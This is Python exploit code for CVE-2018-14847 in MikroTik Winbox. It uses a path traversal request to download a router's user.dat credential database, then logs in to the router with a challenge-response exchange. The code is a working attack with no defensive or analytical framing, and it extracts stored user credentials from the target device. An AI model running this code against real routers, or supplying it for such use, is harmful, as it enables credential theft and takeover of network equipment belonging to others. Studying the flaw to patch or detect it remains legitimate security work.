def get_user_dat(ip, port): """ This function uses the file disclosure vulnerability, CVE-2018-14847, to download the user database from /flash/rw/store/user.dat :param ip: the address of the router to connect to :param port: the winbox port to connect to :return: a string containing the user.dat data or an empty string on error """ print("[+] Attempting to connect to {}:{}".format(ip, port)) session = WinboxSession(ip, port) if not session.connect(): print("[!] Failed to connect to the remote host.") return "" # open user.dat file print("[+] Extracting user.dat...") msg = WinboxMessage() msg.set_to(2, 2) msg.set_command(7) msg.set_request_id(1) msg.set_reply_expected(True) msg.add_string(1, "//./.././.././../flash/rw/store/user.dat") session.send(msg) msg = session.receive() if not msg: print("[!] Error receiving an open file response.") return "" session_id = msg.get_session_id() file_size = msg.get_u32(2) if file_size == 0: print("[!] File size is 0.") return "" # read the user.dat file msg.reset() msg.set_to(2, 2) msg.set_command(4) msg.set_request_id(2) msg.set_reply_expected(True) msg.set_session_id(session_id) msg.add_u32(2, file_size) session.send(msg) msg = session.receive() if not msg: print("[!] Error receiving a file content response.") return "" return msg.get_raw(0x03)
def login(self, username, password, session_id): """ Login to the Mikrotik router. Performs Challenge exchage authentication :param username: router user name :param password: router user password :param session_id: session it to connect :return: False if failed, session_id if success """ # request the challenge msg = WinboxMessage() msg.set_to(13, 4) msg.set_command(4) msg.set_request_id(2) msg.set_session_id(session_id) msg.set_reply_expected(True) if not self.send(msg): return False msg = self.receive() if not msg or msg.has_error(): print(msg.get_error_string()) return False salt = msg.get_raw(0x9) if len(salt) != 16: msg = self.receive() if not msg | msg.has_error(): print(msg.get_error_string()) return False salt = msg.get_raw(0x9) # generate the challenge response m = hashlib.md5() one = b'\x00' m.update(one) m.update(password.encode()) m.update(salt) hashed = one + m.digest() msg.reset() msg.set_to(13, 4) msg.set_command(1) msg.set_request_id(3) msg.set_session_id(session_id) msg.set_reply_expected(True) msg.add_string(1, username) msg.add_raw(9, salt) msg.add_raw(10, hashed) if not self.send(msg): return False msg = self.receive() if not msg: print("Error receiving a response.") return False if msg.has_error(): print(msg.get_error_string()) return False sess_id = msg.get_session_id() return sess_id